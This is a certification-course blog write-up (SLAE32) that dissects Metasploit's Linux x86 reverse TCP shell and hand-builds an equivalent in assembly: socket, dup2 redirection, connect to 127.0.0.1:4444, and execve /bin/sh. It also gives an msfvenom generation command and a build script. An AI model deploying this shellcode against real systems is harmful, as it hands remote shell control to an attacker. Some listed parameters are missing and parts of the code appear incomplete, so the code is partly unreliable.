SLAE32

| Assessment 2

Github repository

Description of the assignment

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-26457

MSFVenom example & Socket_call

To perform this exercise, we started by analysing the reverse shell code of Metasploit to see how it works and what syscall are made. To do so, we followed the steps as follows to create an image of the different syscalls performed and to make it more visible.

As follows the command line to generate the graphical diagram of the metasploit reverse shell:


    msfvenom -p linux/x86/shell_reverse_tcp R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shell_reverse_tcp.dot
    //Then convert into PNG file:
    dot shell_reverse_tcp.dot -Tpng -o shell_reverse_tcp.png 
    

Result:

drawing

As we can see, there are 4 syscalls:

Each of them will be detailled in the following sections.

Socketcall

The detail of the socket call can be displayed with the following command line:


    root@kali:~# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep socket
    #define __NR_socketcall 102
    #define __NR_socket 359
    #define __NR_socketpair 360
    

Then, we looked into the details of the socketcall:


    man 2 socketcall
    int socketcall(int call, unsigned long *args);
    

The socketcall is composed of two parameters:

1) int call - Type of the syscall (socket, bind, …)

2) unsigned long* args - Arguments of the desired syscall

Socket

The socket syscall creates a socket which will listen to the incoming connections.


    man 2 socket 
    int socket(int domain, int type, int protocol)
    

The syscall is composed of the following parameters:

1) int domain - The protocol family used (AF_INET, AF_LOCAL, …)

2) int type - The type of the service (TCP, UDP, …)

3) int protocol - Specify if a particular protocol will be used with the socket (0 most of the time)

Note: More details can be find on the possible parameter values in the following paths:

So, we want to set the following parameters:

After that the syscall is performed with success, the file descriptor returned will be stored in the EAX register.

Useful link: The details of the socket can be find in the following links:

Assembly Code:


    ; EBX
    xor ebx, ebx
    push ebx ; push the x00000000 on the stack
    inc ebx ; SYS_SOCKET call 1 for socket
    push ebx ; push the 0x00000001 on the stack for the domain AF_INET of the SYS_SOCKET call 
    ; ECX
    push byte 0x2 ; push the 0x00000002 on the stack for the type SOCK_STREAM
    mov ecx, esp ; put the arguments of the socketcall into ECX
    ; EAX
    xor eax, eax
    mov al, 0x66
    ; socket call
    int 0x80
    

Dup2

The next step is to redirect the STDIN, STDOUT and STDER to the socket session. The dup2() system call allocate a new file descriptor that refers to the same open file description as the descriptor oldfd. The file descriptor newfd is ajusted so that it refers to the same open file desdcription as oldfd.


    root@kali:~# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep dup2
    #define __NR_dup2 63
    

-


    man 2 dup2
    int dup2(int oldfd, int newfd)
    

The function is composed of:

1) int oldfd: File descriptor returned by the socket syscall

2) int newfd: File descriptor that we want to refer to

We will pass the following arguments:

To perform the loop, we will use the intruction “JNS rel8” because it perform the jmp until the Sign Flag is set (SF=1), which mean that the zero is taken into account in the loop:

Assembly Code:


        ; EBX, File descriptor return by ACCEPT call
        mov ebx, eax	; Retrieve the file descriptor
    
        ; EAX, dup2 sys call 0x3f
        xor eax, eax
    
        ; initialize ECX 
        mov ecx, 0x2
    
        ; LOOP
    
    DupLoop:
     
        mov al, 0x3f
        int 0x80
        dec ecx
        jns DupLoop	
    

Connect

Then, we need to intiate a socket connection on a remote host by specifing the address and the port to connect to. For that, we use the CONNECT syscall.


    man 2 connect
    int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    

The function is composed of:

1) int sockfd: file descriptor, return value of the socket syscall

2) const struct sockaddr *addr: address argument which depends on the family


    struct sockaddr {
        sa_family_t sa_family;
        char        sa_data[14];
    }
    

In our case, with the Internet Family AF_INET, the address structure will be constructed as follows:


    struct sockaddr_in {
        sa_family_t    sin_family; /* address family: AF_INET */
        in_port_t      sin_port;   /* port in network byte order */
        struct in_addr sin_addr;   /* internet address */
    };
    
    /* Internet address. */
    struct in_addr {
        uint32_t       s_addr;     /* address in network byte order */
    };
    

Note: From “/usr/src/linux-headers-5.2.0-kali2-common/include/uapi/linux/in.h”

Useful Link:

This means that we need to pass the following registers:

The return value stored in EAX should be 0x00 in case of success!

TODO Assembly Code:


    ; EBX ; SYS_CONNECT = 3
    xor ebx, ebx
    mov bl, 0x3
    
    ; ECX, To modify
    ; Creation of the struct sockaddr_in
    
    ; //////////////// Listening address ////////////
    ; Description: Set up the address to listen to
    ; Example: 
    ; 	push edi ; Push on the stack the address 0.0.0.0
    ; 	push 0x00000000 ; Same
    push 0x0100007f ; 127.0.0.1
    
    ; /////////////// Listening port ///////////////
    ; Description: Set up the port to listen to
    ; Example: push word 0x5c11 ; Push on the stack the port 4444
    push word 0x5c11	
    
    push word 0x2 ; Push the Family AF_INET = 2
    mov ecx, esp ; mov the structure into ecx
    
    ; put all parameters into ECX 
        
    push byte 0x10 ; Push on the stack the address length of 16
    push ecx
    push esi ; push the file descriptor
    mov ecx, esp ; Move the stack into ECX
    
    ; EAX
    xor eax, eax
    mov al, 0x66
    
    ; connect call
    int 0x80
    

Execve

FInally, now that we created a socket which connect to a remote host, we finally have to launch a shell through that connection allowing the remote host to interact with the device.


    man 2 Execve
    int execve(const char *pathname, char *const argv[], char *const envp[])
    

The arguments are:

1) const char *pathname: Pointer to the filename

2) char *const argv[]: Pointer to the argument of the function

3) char *const envp[]: Array of pointers to strings passed as environment of the new program

We will pass the following arguments:

To pass the argument /bin/sh, we first converted it in hexadecimal and then reverse it.

Assembly Code:


    ; EXECVE /bin/sh	
    ; Push the 0x00000000 on the stack
    xor eax, eax
    push eax
    
    ; put the string on the stack
    push 0x68732f2f ; //sh: hs//: 68732f2f	
    push 0x6e69622f ; /bin: nib/: 6e69622f	
    
    ; setup EBX with the value of ESP
    mov ebx, esp
    
    ; set up EDX and push null bytes again
    push eax
    mov edx, esp
    
    ; set up ECX argv address on the first dw and null in second dw
    push ebx 
    ; Then move the top of the stack into ECX
    mov ecx, esp
    
    ; EAX
    mov al, 0xb
    int 0x80
    

Compilation

Then we compiled the code with the following python script:


    root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/bindshell# cat ../compile.sh 
    #! /bin/bash
    
    echo '[+] Assembling with NASM'
    nasm -f elf -o $1.o $1.nasm
    
    echo '[+] Linking ..'
    ld -m elf_i386 $1.o -o $1
    
    echo '[+] Done!'
    

And finally, we launch the netcat tool and then the reverse shellcode.

drawing drawing drawing